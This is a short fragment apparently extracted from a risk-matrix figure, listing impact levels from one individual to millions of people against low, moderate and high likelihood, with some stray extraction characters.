One individual [3]
Hundreds of people [5]
Thousands of people [7]

Millions of people [9]
Impact
Likelihood ->Lowx- Moderate High
->Lowx- (o T8 1521 -
Moderate

High






